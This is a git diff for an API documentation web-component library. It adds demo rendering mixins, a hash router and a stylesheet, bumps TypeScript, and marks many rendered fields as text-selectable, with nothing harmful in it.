+const mxFunction = (base) => {
+  class ReactiveMixinImpl extends base {
+    /**
+     * Creates setters and getters to properties defined in the passed list of properties.
+     * Property setter will trigger render function.
+     *
+     * @param {...string} props List of properties to initialize.
+     * @returns {void}
+     */
+    initObservableProperties(...props) {
+      props.forEach((item) => {
+        Object.defineProperty(this, item, {
+          get() {
+            const map = valuesMap.get(this);
+            return map[item];
+          },
+          set(newValue) {
+            this[setObservableProperty](item, newValue);
+          },
+          enumerable: true,
+          configurable: true,
+        });
+      });
+    }
+
+    /**
+     * @param {string} prop
+     * @param {any} value
+     * @returns {void}
+     */
+    [setObservableProperty](prop, value) {
+      let map = valuesMap.get(this); 
+      if (!map) {
+        map = {};
+        valuesMap.set(this, map);
+      }
+      if (map[prop] === value) {
+        return;
+      }
+      map[prop] = value;
+      this.render();
+    }
+
+    /**
+     * The main render function. This is to be implemented by the mixin consumer.
+     * @returns {void}
+     */
+    render() {
+      // nothing
+    }
+  }
+  return ReactiveMixinImpl;
+}
+
+/**
+ * Adds methods to register reactive properties, the properties 
+ * that trigger the `render()` function once changed.
+ * 
+ * Use the `initObservableProperties()` function that accepts a list 
+ * of properties set on the base class that once set triggers the render function. The setter checks
+ * whether the a value actually changed. It works well for primitives but it won't work as expected
+ * for complex types.
+ * 
+ * ## Example
+ * 
+ * ```javascript
+ * constructor() {
+ *   super();
+ *   this.initObservableProperties('prop1', 'prop2', 'prop3');
+ *   this.prop1 = 'test'; // <- this triggers the render() function
+ * }
+ * ```
+ *
+ * @mixin
+ */
+export const ReactiveMixin = dedupeMixin(mxFunction);
\ No newline at end of file
diff --git a/demo/lib/mixins/RenderableMixin.d.ts b/demo/lib/mixins/RenderableMixin.d.ts
new file mode 100644
index 0000000..46332a1
--- /dev/null
+++ b/demo/lib/mixins/RenderableMixin.d.ts
@@ -0,0 +1,55 @@
+import { TemplateResult } from 'lit-html/lit-html.js';
+
+export declare const renderingValue: unique symbol;
+export declare const renderPage: unique symbol;
+
+declare function RenderableMixin<T extends new (...args: any[]) => {}>(base: T): T & RenderableMixinConstructor;
+interface RenderableMixinConstructor {
+  new(...args: any[]): RenderableMixin;
+}
+
+/**
+ * Adds methods that helps with asynchronous template rendering.
+ *
+ * @mixin
+ */
+declare interface RenderableMixin {
+  /** 
+   * True when rendering debouncer is running.
+   */
+  readonly rendering: boolean;
+
+  [renderingValue]: boolean;
+  firstRendered: boolean;
+
+  /** 
+   * A promise resolved when the render finished.
+   */
+  updateComplete: Promise<void>;
+
+  /**
+   * Helper function to be overridden by child classes. It is called when the view
+   * is rendered for the first time.
+   */
+  firstRender(): void;
+
+  /**
+   * This to be used by the child classes to render page template.
+   * @returns {} Application page template
+   */
+  appTemplate(): TemplateResult;
+
+  /**
+   * The main render function. Sub classes should not override this method.
+   * Override `[renderPage]()` instead.
+   *
+   * The function calls `[renderPage]()` in a micro task so it is safe to call this
+   * multiple time in the same event loop.
+   */
+  render(): void;
+
+  [renderPage](): void;
+}
+
+export {RenderableMixinConstructor};
+export {RenderableMixin};
\ No newline at end of file
diff --git a/demo/lib/mixins/RenderableMixin.js b/demo/lib/mixins/RenderableMixin.js
new file mode 100644
index 0000000..223760f
--- /dev/null
+++ b/demo/lib/mixins/RenderableMixin.js
@@ -0,0 +1,124 @@
+/* eslint-disable class-methods-use-this */
+import { dedupeMixin } from '@open-wc/dedupe-mixin';
+import { html, render } from 'lit-html/lit-html.js';
+
+/** @typedef {import('lit-html').TemplateResult} TemplateResult */
+
+export const renderingValue = Symbol('renderingValue');
+export const renderPage = Symbol('renderPage');
+export const setUpdatePromise = Symbol('setUpdatePromise');
+export const updateResolver = Symbol('updateResolver');
+export const hasPendingUpdatePromise = Symbol('hasPendingUpdatePromise');
+export const resolveUpdatePromise = Symbol('resolveUpdatePromise');
+
+/**
+ * @param {new (...args: any[]) => EventTarget} base
+ */
+const mxFunction = (base) => {
+  class RenderableMixin extends base {
+
+    /** 
+     * True when rendering debouncer is running.
+     */
+    get rendering() {
+      return this[renderingValue];
+    }
+
+    constructor() {
+      super();
+      /**
+       * Determines whether the initial render had run and the `firstRender()`
+       * function was called.
+       *
+       * @type {boolean}
+       * @default false
+       */
+      this.firstRendered = false;
+  
+      this[renderingValue] = false;
+
+      /** 
+       * @type {Promise<void>} A promise resolved when the render finished.
+       */
+      this.updateComplete = undefined;
+
+      this[setUpdatePromise]();
+    }
+
+    /**
+     * Helper function to be overridden by child classes. It is called when the view
+     * is rendered for the first time.
+     */
+    firstRender() {
+    }
+
+    /**
+     * A function called when the template has been rendered
+     */
+    updated() {}
+
+    /**
+     * This to be used by the child classes to render page template.
+     * @returns {TemplateResult} Application page template
+     */
+    appTemplate() {
+      return html``;
+    }
+
+    /**
+     * The main render function. Sub classes should not override this method.
+     * Override `[renderPage]()` instead.
+     *
+     * The function calls `[renderPage]()` in a micro task so it is safe to call this
+     * multiple time in the same event loop.
+     */
+    render() {
+      if (this.rendering) {
+        return;
+      }
+      this[renderingValue] = true;
+      if (!this[hasPendingUpdatePromise]) {
+        this[setUpdatePromise]();
+      }
+      requestAnimationFrame(() => {
+        this[renderingValue] = false;
+        this[renderPage]();
+      });
+    }
+
+    [renderPage]() {
+      if (!this.firstRendered) {
+        this.firstRendered = true;
+        setTimeout(() => this.firstRender());
+      }
+      render(this.appTemplate(), document.querySelector('#app'), { eventContext: this });
+      this[resolveUpdatePromise]();
+      this.updated();
+    }
+
+    [setUpdatePromise]() {
+      this.updateComplete = new Promise((resolve) => {
+        this[updateResolver] = resolve;
+        this[hasPendingUpdatePromise] = true;
+      });
+    }
+
+    [resolveUpdatePromise]() {
+      if (!this[hasPendingUpdatePromise]) {
+        return;
+      }
+      this[hasPendingUpdatePromise] = false;
+      this[updateResolver]();
+    }
+  }
+  return RenderableMixin;
+}
+
+/**
+ * Adds methods that helps with asynchronous template rendering.
+ * 
+ * The application page content is rendered into the `#app` container.
+ *
+ * @mixin
+ */
+export const RenderableMixin = dedupeMixin(mxFunction);
\ No newline at end of file
diff --git a/demo/lib/route.js b/demo/lib/route.js
new file mode 100644
index 0000000..f2b13a9
--- /dev/null
+++ b/demo/lib/route.js
@@ -0,0 +1,102 @@
+/**
+ * @typedef Route
+ * @property {string} name The name of the route
+ * @property {string} pattern The pattern to evaluate
+ */
+/**
+ * @typedef RouteResult
+ * @property {Route} route The matched route
+ * @property {object=} params Captured parameters
+ */
+
+/**
+ * @param {string} value The pattern to evaluate
+ * @return {RegExp}
+ */
+function getPattern(value) {
+  return new RegExp(`^${value}$`);
+}
+
+/**
+ * @param {string} uri The path value of the current URL.
+ * @param {string} pattern The pattern to evaluate
+ * @return {boolean}
+ */
+export function testRoute(uri, pattern) {
+  return getPattern(pattern).test(uri);
+}
+
+/**
+ * @param {string} pattern The pattern to evaluate
+ * @param {string} uri The path value of the current URL.
+ * @return {object}
+ */
+export function parseParams(pattern, uri) {
+  const r = getPattern(pattern);
+  const match = r.exec(uri);
+  // @ts-ignore
+  const { groups } = match;
+  const result = {};
+  if (groups) {
+    Object.keys(groups).forEach((key) => {
+      let value = /** @type String */ (groups[key]);
+      if (value[0] === '/') {
+        value = value.substr(1);
+      }
+      if (value.includes('/')) {
+        result[key] = value.split('/').map((i) => decodeURIComponent(i));
+      } else {
+        result[key] = decodeURIComponent(value);
+      }
+    });
+  }
+  return result
+}
+
+/**
+ * @param {Route[]} routes List of routes to evaluate
+ * @param {string} path Current path
+ * @return {RouteResult|null}
+ */
+export function findRoute(routes, path) {
+  const activeRoute = routes.find((route) => route.pattern !== '*' && testRoute(path, route.pattern));
+  if (activeRoute) {
+    const params = parseParams(activeRoute.pattern, path);
+    return {
+      route: activeRoute,
+      params,
+    }
+  }
+  const notFoundRoute = routes.find((route) => route.pattern === '*');
+  if (notFoundRoute) {
+    return {
+      route: notFoundRoute,
+    };
+  }
+  return null;
+}
+
+/**
+ * Navigates to another page.
+ * 
+ * @param {string} htmlFile The relative location of the target HTML file.
+ * @param {...string} route Optional route params to add to the has part of the url.
+ */
+export function navigatePage(htmlFile, ...route) {
+  const hash = route.map(encodeURIComponent).join('/');
+  const url = new URL(htmlFile, window.location.href);
+  url.hash = hash;
+  window.location.href = url.toString();
+}
+
+/**
+ * Navigates to a route.
+ * 
+ * @param {...string} route Optional route params to add to the has part of the url.
+ */
+export function navigate(...route) {
+  const hash = route.map(encodeURIComponent).join('/');
+  const url = new URL(window.location.href);
+  url.hash = hash;
+  window.location.href = url.toString();
+}
\ No newline at end of file
diff --git a/demo/styles/api-console.css b/demo/styles/api-console.css
new file mode 100644
index 0000000..b00e367
--- /dev/null
+++ b/demo/styles/api-console.css
@@ -0,0 +1,276 @@
+* {
+  font-family: 'Roboto', 'Noto', sans-serif;
+  font-size: 16px;
+}
+
+html,
+body {
+  background-color: #F5F5F5;
+  height: 100%;
+  margin: 0;
+  padding: 0;
+  font-family: 'Roboto', 'Noto', sans-serif;
+  font-size: 16px;
+  user-select: none;
+  display: flex;
+  flex-direction: column;
+}
+
+#app {
+  display: flex;
+  flex-direction: column;
+  flex: 1;
+  height: 100%;
+  overflow: hidden;
+  box-sizing: border-box;
+}
+
+h2 {
+  font-size: var(--theme-h2-font-size, 56px);
+  font-weight: var(--theme-h2-font-weight, 200);
+  color: var(--theme-h1-color, currentColor);
+}
+
+h2.title {
+  font-size: 1.25rem;
+  line-height: 2rem;
+  font-weight: 500;
+}
+
+header {
+  height: 64px;
+  background-color: #fff;
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  border-bottom: 1px solid #e5e5e5;
+  padding: 20px;
+  box-sizing: border-box;
+}
+
+header.tall {
+  height: 128px;
+  align-items: flex-end;
+}
+
+nav {
+  background-color: var(--api-navigation-background-color, #fff);
+  color: var(--api-navigation-color, initial);
+  display: flex;
+  flex-direction: column;
+  border-right: 1px #e5e5e5 solid;
+}
+
+main {
+  flex: 1;
+  display: flex;
+  flex-direction: column;
+  background: var(--secondary-background-color, #ffffff);
+  height: 100%;
+  overflow: auto;
+  padding: 0 24px;
+}
+
+.menu-divider {
+  margin: 8px 0;
+  height: 1px;
+  background-color: var(--api-divider-color);
+}
+
+.page {
+  flex: 1;
+}
+
+.header-menu {
+  margin-left: auto;
+}
+
+.title-line {
+  padding: 60px 0;
+  margin: 0;
+  text-align: center;
+}
+
+.title-line h2 {
+  font-size: var(--theme-h2-font-size, 56px);
+  font-weight: var(--theme-h2-font-weight, 200);
+  color: var(--theme-h1-color, currentColor);
+}
+
+.api-selector .api-list {
+  max-width: 700px;
+  margin: 0 auto;
+  width: 100%;
+}
+
+.content {
+  display: flex;
+  flex-direction: row;
+  height: 100%;
+  overflow: hidden;
+}
+
+.app-loader {
+  display: flex;
+  flex-direction: column;
+  flex: 1;
+  align-items: center;
+  justify-content: center;
+}
+
+api-navigation {
+  flex: 1;
+  width: 256px;
+}
+
+api-documentation {
+  max-width: 1900px;
+}
+
+body {
+  color: #000;
+  --error-color: red;
+  --primary-text-color: #000;
+  --primary-color: #e91e63;
+  --primary-background-color: #ffffff;
+  --dark-divider-opacity: 0.12;
+  --api-divider-color: #e5e5e5;
+  --anypoint-button-emphasis-high-background-color: var(--accent-color);
+  --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4);
+
+  --arc-font-body1-font-size: 1rem;
+  --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace;
+
+  /* HTTP method colors */
+  --http-get-color: #008000;
+  --http-post-color: #2196F3;
+  --http-put-color: #FFA500;
+  --http-patch-color: #9C27B0;
+  --http-delete-color: #F44336;
+  --http-options-color: rgba(128, 128, 128, 0.74);
+  --http-head-color: rgba(128, 128, 128, 0.74);
+  --http-connect-color: rgba(128, 128, 128, 0.74);
+  --http-trace-color: rgba(128, 128, 128, 0.74);
+  --http-method-label-get-background-color: var(--http-get-color);
+  --http-method-label-get-color: #fff;
+  --http-method-label-post-background-color: var(--http-post-color);
+  --http-method-label-post-color: #fff;
+  --http-method-label-put-background-color: var(--http-put-color);
+  --http-method-label-put-color: #000;
+  --http-method-label-delete-background-color: var(--http-delete-color);
+  --http-method-label-delete-color: #fff;
+  --http-method-label-options-background-color: var(--http-options-color);
+  --http-method-label-options-background-color: var(--primary-text-color);
+  --http-method-label-head-background-color: var(--http-head-color);
+  --http-method-label-head-color: var(--primary-text-color);
+  --http-method-label-patch-background-color: var(--http-patch-color);
+  --http-method-label-patch-color: #fff;
+
+  --anypoint-tabs-selection-bar-color: var(--primary-color);
+
+  --api-navigation-list-item-selected-background-color: #e8e9ea;
+  --api-navigation-list-item-selected-color: #000;
+
+  --code-background-color: #f5f7f9;
+}
+
+@media (prefers-color-scheme: dark) {
+  body {
+    --primary-color: #ffcc80;
+    --primary-text-color: #fff;
+    --accent-color: #E040FB;
+    --secondary-text-color: rgba(255, 255, 255, 0.84);
+    --primary-background-color: #424242;
+    --secondary-background-color: #313131;
+    --error-color: #ff9090;
+    --error-message-color: var(--error-color);
+    --link-color: #8bc34a;
+    --input-background-color: var(--primary-background-color);
+    --active-background-color: #616161;
+
+    --anypoint-checkbox-label-color:  #F5F5F5;
+    --anypoint-input-background-color: var(--input-background-color);
+    --anypoint-input-label-color: var(--primary-text-color);
+    --anypoint-input-input-color: var(--primary-text-color);
+    --anypoint-input-border-bottom-color: var(--primary-text-color);
+    --anypoint-input-focused-border-bottom-color: var(--primary-text-color);
+    --anypoint-input-label-background-color: rgb(66, 66, 66);
+    --anypoint-input-legacy-focus-background-color: #3a3b3c;
+    --anypoint-input-legacy-focus-border-color: #178bea;
+    --anypoint-input-info-message-color: var(--primary-text-color);
+
+    --anypoint-dropdown-menu-background-color: #494949;
+    --anypoint-dropdown-menu-label-background-color: var(--primary-background-color);
+    --anypoint-listbox-background-color: #494949;
+    --anypoint-dropdown-menu-focus-background-color: #9E9E9E;
+    --anypoint-dropdown-menu-label-color: #fff;
+    --anypoint-dropdown-menu-info-message-color: #fff;
+    --anypoint-item-hover-background-color: #9E9E9E;
+    --anypoint-item-focused-background-color: var(--primary-background-color);
+    --anypoint-icon-button-emphasis-low-color: #fff;
+
+    /* HTTP method colors */
+    --http-get-color: #c6f68d;
+    --http-post-color: #b39afd;
+    --http-put-color: #ffc77d;
+    --http-patch-color: #f186c0;
+    --http-delete-color: #FF5252;
+    --http-options-color: rgba(128, 128, 128, 0.74);
+    --http-head-color: rgba(128, 128, 128, 0.74);
+    --http-connect-color: rgba(128, 128, 128, 0.74);
+    --http-trace-color: rgba(128, 128, 128, 0.74);
+    --http-method-label-get-background-color: var(--http-get-color);
+    --http-method-label-get-color: #000;
+    --http-method-label-post-background-color: var(--http-post-color);
+    --http-method-label-post-color: #000;
+    --http-method-label-put-background-color: var(--http-put-color);
+    --http-method-label-put-color: #000;
+    --http-method-label-delete-background-color: var(--http-delete-color);
+    --http-method-label-delete-color: #000;
+    --http-method-label-options-background-color: var(--http-options-color);
+    --http-method-label-options-background-color: var(--primary-text-color);
+    --http-method-label-head-background-color: var(--http-head-color);
+    --http-method-label-head-color: var(--primary-text-color);
+    --http-method-label-patch-background-color: var(--http-patch-color);
+    --http-method-label-patch-color: #000;
+
+    --operation-params-title-color: var(--primary-text-color);
+    --operation-subheader-color: var(--secondary-text-color);
+    --operation-description-color: var(--secondary-text-color);
+
+    --resource-subheader-color: var(--secondary-text-color);
+    --security-subheader-color: var(--secondary-text-color);
+    --pill-color: #000;
+
+    --markdown-styles-code-text-shadow: none;
+    --markdown-styles-h6-color: var(--secondary-text-color);
+    --markdown-styles-table-row-background-color: var(--primary-background-color);
+    --markdown-styles-table-even-row-background-color: var(--secondary-background-color);
+
+    --code-color: var(--primary-text-color);
+    --code-background-color: #202020;
+    --code-punctuation-value-color: var(--code-color);
+
+    --api-annotation-document-color: var(--primary-text-color);
+    --api-annotation-background-color: var(--primary-background-color);
+    --api-body-document-description-color: var(--primary-text-color);
+
+    --api-endpoint-url-background-color: var(--primary-background-color);
+    --api-endpoint-url-color: var(--primary-text-color);
+
+    --http-code-snippet-code-text-shadow: var(--primary-text-color);
+    --http-code-snippet-container-background-color: var(--code-background-color);
+    --http-code-snippet-code-function-color: #82AAFF;
+    --http-code-snippet-code-keyword-color: #C792EA;
+    --http-code-snippet-code-cdata-color: #adb9c5;
+
+    --resource-tryit-background-color: var(--code-background-color);
+    --resource-tryit-panels-background-color: transparent;
+    --error-message-icon-color: #cccccc;
+    --error-message-code-color: var(--secondary-text-color); 
+
+    --auth-method-oauth2-redirect-info-color: #fff;
+
+    --inline-documentation-background-color: #3a3a3a;
+  }
+}
diff --git a/package-lock.json b/package-lock.json
index e9961b9..78cf0e3 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -10846,9 +10846,9 @@
       }
     },
     "typescript": {
-      "version": "4.4.3",
-      "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz",
-      "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==",
+      "version": "4.4.4",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.4.tgz",
+      "integrity": "sha512-DqGhF5IKoBl8WNf8C1gu8q0xZSInh9j1kJJMqT3a94w1JzVaBU4EXOSMrz9yDqMT0xt3selp83fuFMQ0uzv6qA==",
       "dev": true
     },
     "typescript-lit-html-plugin": {
diff --git a/package.json b/package.json
index 70ba608..f548964 100644
--- a/package.json
+++ b/package.json
@@ -75,7 +75,7 @@
     "husky": "^7.0.2",
     "lint-staged": "^11.2.2",
     "sinon": "^11.1.2",
-    "typescript": "^4.4.3",
+    "typescript": "^4.4.4",
     "typescript-lit-html-plugin": "^0.9.0"
   },
   "scripts": {
diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js
index d9483de..86e536d 100644
--- a/src/elements/ApiAnnotationDocumentElement.js
+++ b/src/elements/ApiAnnotationDocumentElement.js
@@ -195,7 +195,7 @@ export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElem
     <div class="custom-property">
       <arc-icon class="info-icon" icon="infoOutline"></arc-icon>
       <div class="info-value">
-        <span class="name">${name}</span>
+        <span class="name text-selectable">${name}</span>
         ${content || ''}
       </div>
     </div>
@@ -208,7 +208,7 @@ export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElem
    * @returns {TemplateResult} The template for the custom property.
    */
   [scalarTemplate](name, scalar) {
-    const content = html`<span class="scalar-value">${this[scalarValue](scalar)}</span>`;
+    const content = html`<span class="scalar-value text-selectable">${this[scalarValue](scalar)}</span>`;
     return this[annotationWrapperTemplate](name, content);
   }
 
@@ -239,8 +239,8 @@ export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElem
     const value = this[scalarValue](scalar);
     return html`
     <div class="object-property">
-      <span class="object-name">${name}</span>
-      <span class="object-value">${value}</span>
+      <span class="object-name text-selectable">${name}</span>
+      <span class="object-value text-selectable">${value}</span>
     </div>
     `;
   }
diff --git a/src/elements/ApiChannelDocumentElement.js b/src/elements/ApiChannelDocumentElement.js
index 7f2f529..2573c18 100644
--- a/src/elements/ApiChannelDocumentElement.js
+++ b/src/elements/ApiChannelDocumentElement.js
@@ -68,7 +68,7 @@ export default class ApiChannelDocumentElement extends ApiResourceDocumentElemen
     const url = this[urlValue];
     return html`
     <div class="endpoint-url">
-      <div class="url-value">${url}</div>
+      <div class="url-value text-selectable">${url}</div>
     </div>
     `;
   }
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index 17c11f2..5a576c2 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -305,7 +305,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
         sanitize
         @click="${this[clickHandler]}"
       >
-        <div slot="markdown-html" class="markdown-body"></div>
+        <div slot="markdown-html" class="markdown-body text-selectable"></div>
       </arc-marked>
     </div>`;
   }
@@ -354,8 +354,8 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) {
     <details class="schema-example">
       <summary>Example${label ? `: ${label}` : ''}</summary>
       <div class="example-content">
-        ${description ? html`<div class="example-description">${description}</div>` : ''}
-        <pre class="code-value"><code>${renderValue}</code></pre>
+        ${description ? html`<div class="example-description text-selectable">${description}</div>` : ''}
+        <pre class="code-value text-selectable"><code>${renderValue}</code></pre>
       </div>
     </details>
     `;
diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js
index cd84bf0..0d9901f 100644
--- a/src/elements/ApiDocumentationDocumentElement.js
+++ b/src/elements/ApiDocumentationDocumentElement.js
@@ -92,7 +92,7 @@ export default class ApiDocumentationDocumentElement extends ApiDocumentationBas
     return html`
     <div class="documentation-header">
       <div class="documentation-title">
-        <span class="label">${title}</span>
+        <span class="label text-selectable">${title}</span>
       </div>
     </div>
     `;
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 79b99a8..305a416 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -26,6 +26,7 @@ import '../../api-server-selector.js';
 /** @typedef {import('../types').SelectionType} SelectionType */
 /** @typedef {import('../events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
+export const isAsyncValue = Symbol('isAsyncValue');
 export const operationIdValue = Symbol('operationIdValue');
 export const domainTypeValue = Symbol('domainTypeValue');
 export const navigationHandler = Symbol('navigationHandler');
@@ -259,6 +260,14 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
 		return false;
   }
 
+  /**
+   * This is a computed value from the AMF model.
+   * @returns {boolean} true when whe currently loaded API is an async API.
+   */
+  get isAsync() {
+    return this[isAsyncValue];
+  }
+
   constructor() {
     super();
     /** @type {SelectionType} */
@@ -359,6 +368,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
     if (Array.isArray(amf)) {
       [amf] = amf;
     }
+    this[isAsyncValue] = this._isAsyncAPI(amf);
     const api = this._computeApi(amf);
     if (api) {
       const summary = this[serializerValue].apiSummary(api);
@@ -787,7 +797,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
    * @returns {TemplateResult|string} The template for the API endpoint page.
    */
   [resourceTemplate]() {
-    const { amf, domainId, operationId } = this;
+    const { amf, domainId, operationId, isAsync } = this;
     const model = this[renderedModelValue];
     return html`<api-resource-document
       .amf="${amf}"
@@ -803,6 +813,7 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       ?anypoint="${this.anypoint}"
       ?httpUrlEditor="${this.httpUrlEditor}"
       httpNoServerSelector
+      ?asyncApi="${isAsync}"
     ></api-resource-document>`;
   }
 }
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index bea22a6..a88575b 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -756,6 +756,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     const label = name || method;
     const labelClasses = {
       label: true,
+      'text-selectable': true,
       deprecated,
     };
     const subTitle = this.asyncApi ? 'Async operation' : 'API operation';
@@ -782,7 +783,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     const value = joinTraitNames(traits);
     return html`
     <section class="extensions">
-      <p>Mixes in <span class="trait-name">${value}</span>.</p>
+      <p>Mixes in <span class="trait-name text-selectable">${value}</span>.</p>
     </section>`;
   }
 
@@ -796,7 +797,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
       return '';
     }
     return html`
-    <p class="summary">${summary}</p>
+    <p class="summary text-selectable">${summary}</p>
     `;
   }
 
@@ -828,7 +829,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     return html`
     <div class="deprecated-message">
       <arc-icon icon="warning"></arc-icon>
-      <span class="message">
+      <span class="message text-selectable">
       This operation is marked as deprecated.
       </span>
     </div>
@@ -848,7 +849,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
     return html`
     <div class="endpoint-url">
       <div class="method-label" data-method="${method}">${method}</div>
-      <div class="url-value">${url}</div>
+      <div class="url-value text-selectable">${url}</div>
     </div>
     `;
   }
@@ -932,11 +933,14 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
 
   /**
    * @param {ApiResponse[]} responses The responses to render.
-   * @returns {TemplateResult} The template for the responses selector.
+   * @returns {TemplateResult|string} The template for the responses selector.
    */
   [responseTabsTemplate](responses) {
     const { selectedStatus, anypoint } = this;
     const filtered = responses.filter((item) => !!item.statusCode);
+    if (!filtered.length) {
+      return '';
+    }
     return html`
     <div class="status-codes-selector">
       <anypoint-tabs
diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js
index b6bc833..7b63321 100644
--- a/src/elements/ApiPayloadDocumentElement.js
+++ b/src/elements/ApiPayloadDocumentElement.js
@@ -127,7 +127,7 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
       return '';
     }
     return html`
-    <div class="payload-name">${name}</div>
+    <div class="payload-name text-selectable">${name}</div>
     `;
   }
 
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index 1efab47..b028410 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -1420,7 +1420,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     if (!urlLabel) {
       return '';
     }
-    return html`<div class="url-label" title="Current request URL">${url}</div>`;
+    return html`<div class="url-label text-selectable" title="Current request URL">${url}</div>`;
   }
 
   [authorizationTemplate]() {
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index fa5ca98..55089dc 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -522,7 +522,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     return html`
     <div class="endpoint-header">
       <div class="endpoint-title">
-        <span class="label">${label}</span>
+        <span class="label text-selectable">${label}</span>
       </div>
       <p class="sub-header">${subLabel}</p>
     </div>
@@ -536,7 +536,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     const url = this[urlValue];
     return html`
     <div class="endpoint-url">
-      <div class="url-value">${url}</div>
+      <div class="url-value text-selectable">${url}</div>
     </div>
     `;
   }
@@ -650,7 +650,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
       payload = '';
     }
     return html`
-    <section class="snippets">
+    <section class="snippets text-selectable">
       <http-code-snippets
         scrollable
         .url="${values.url}"
@@ -695,7 +695,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     if (!label) {
       return '';
     }
-    return html`<span>Implements </span><span class="resource-type-name" title="Resource type applied to this endpoint">${label}</span>.`;
+    return html`<span>Implements </span><span class="resource-type-name text-selectable" title="Resource type applied to this endpoint">${label}</span>.`;
   }
 
   /**
@@ -706,6 +706,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     if (!label) {
       return '';
     }
-    return html`<span>Mixes in </span><span class="trait-name">${label}</span>.`;
+    return html`<span>Mixes in </span><span class="trait-name text-selectable">${label}</span>.`;
   }
 }
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index fd2153f..88eaa4d 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -268,9 +268,9 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
   [linkTemplate](link) {
     const { name, mapping, operationId, } = link;
     return html`
-    <div class="link-header">${name}</div>
+    <div class="link-header text-selectable">${name}</div>
     ${this[linkOperationTemplate](operationId)}
-    <div slot="markdown-html" class="link-table">
+    <div slot="markdown-html" class="link-table text-selectable">
       ${this[linkMappingsTemplate](mapping)}
     </div>
     `;
@@ -287,7 +287,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
     return html`
     <div class="operation-id">
       <span class="label">Operation ID:</span>
-      <span class="operation-name">${operationId}</span>
+      <span class="operation-name text-selectable">${operationId}</span>
     </div>
     `;
   }
@@ -301,7 +301,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
       return '';
     }
     return html`
-    <table class="mapping-table">
+    <table class="mapping-table text-selectable">
       <tr>
         <th>Variable</th>
         <th>Expression</th>
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index e8057f5..04ddb30 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -3,11 +3,11 @@
 import { html } from 'lit-element';
 import { classMap } from "lit-html/directives/class-map";
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
-import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
 import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
 import { chevronRight } from '@advanced-rest-client/arc-icons';
+import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 import { ns } from '../helpers/Namespace.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiSchema.js';
@@ -422,8 +422,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     return html`
     <div class="schema-header">
       <div class="${classMap(headerCss)}">
-        <span class="label">${prefix}${label}</span>
-        ${typeName ? html`<span class="type-name" title="Schema name">(${typeName})</span>` : ''}
